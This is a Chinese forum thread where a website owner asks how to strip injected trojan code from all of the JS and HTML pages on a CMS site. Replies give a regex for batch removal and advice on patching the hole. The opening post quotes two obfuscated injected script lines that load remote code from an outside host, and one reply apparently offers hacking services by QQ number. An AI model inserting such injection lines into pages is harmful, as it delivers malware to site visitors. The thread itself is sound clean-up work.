asp木马清除，有能力者来，另有高分重谢。

[xiaoqiang08]

这个木马带ID号，不能一次性清除，只能一个一个，不知道有没有这样的工具。

document.writeln('<script language="JavaScript" type="text/javascript" id="scr7ipt3254" src="http://%70t928.9966.org" ><\/script>');


document.writeln('<script id="scr7ipt9061" type="text/javascript" src="http://pt928%2E9966%2Eorg" language="JavaScript" ><\/script>');

[街头小贩]

数据库中记录被挂了！还是网页？

[xiaoqiang08]

网页，所有的js文件，html文件都被挂了。

[sky2133]

这木马挺绝的，ID不同替换字符串不大容易啊

[hookee]

是文本文件的话，可以用UltraEdit批量替换

先用一个文件做测试看看

Search菜单-Replace In Files - 选择文件类型和目录 - 取消Mtach Case
选择 Regular Expression
Regular Expression引擎选择 Perl
Replac With为空
其他设置根据需要选择
Find What 输入：

document\.writeln\('\s*<script [^>]*id="scr[^"]+"[^>]+>\s*<\\\/script>\s*'\s*\)\s*;

然后取代。

[xiaoqiang08]

关键是所有的网页都在服务器上，太大了，生成一次都要好长时间。

不可能拿下来生成然后在上传。

[xiaoqiang08]

程序使用的是科讯cms，郁闷死。以前都没有这个事，现在。。。

[Can_I_ask_you]

那就用正则表达式，只要则，管你中间怎么就，一样清除。

[number321]

是啊,自己写个ASP文件,用正则替换

[number321]

不知道有没有网马有用正则批量替换的功能

[wubaozhang]

[Quote=引用 3 楼 hookee 的回复:]
是文本文件的话，可以用UltraEdit批量替换

先用一个文件做测试看看

Search菜单-Replace In Files - 选择文件类型和目录 -  取消Mtach Case
选择 Regular Expression
Regular Expression引擎选择 Perl
Replac With为空
其他设置根据需要选择
Find What 输入：
JScript codedocument\.writeln\('\s*<script [^>]*id="scr[^"]+"[^>]+>\s*<\\\/script>\s*'\s*\)\s*;

然后取代。
[/Quote]

都已经这么清楚了,还有什么好问的

[jackbeibei]

学习了

[lishuai818]

[Quote=引用 8 楼 walksenlid 的回复:]
dreamweaver啊，查找文件夹，把内容粘贴上去，替换为空，替换全部，直接搞定。
[/Quote]

他那个是大网站 应该生成的页面有很多 要照您这种方式估计得累死他了

楼主请参考3 楼的意见

[cdcjk]

谢谢，学习了

[zzlya]

雷克图可以么？

[hflkl1314]

以黑 治黑 啊

QQ80758653

[南三方]

木马已经植入很深，只能选择逐一清除还是批量清除，批量清除就得批量更新，怕慢的话就逐一替换吧，用正则是很好的方法，关键是要仔细检查后门漏洞抓紧补上，数据库中也必须仔细检查清除，对楼主深表同情！

[sunsbn2]

顶你,弄点分.

[hansonboy]

dreamweaver啊，查找文件夹，开启正则，用正则替换就可以了

[yifanwu]

你上传的文件没有备份么？把漏洞补了之后全部重新上传一次。

[小布]

用正则替换就可以了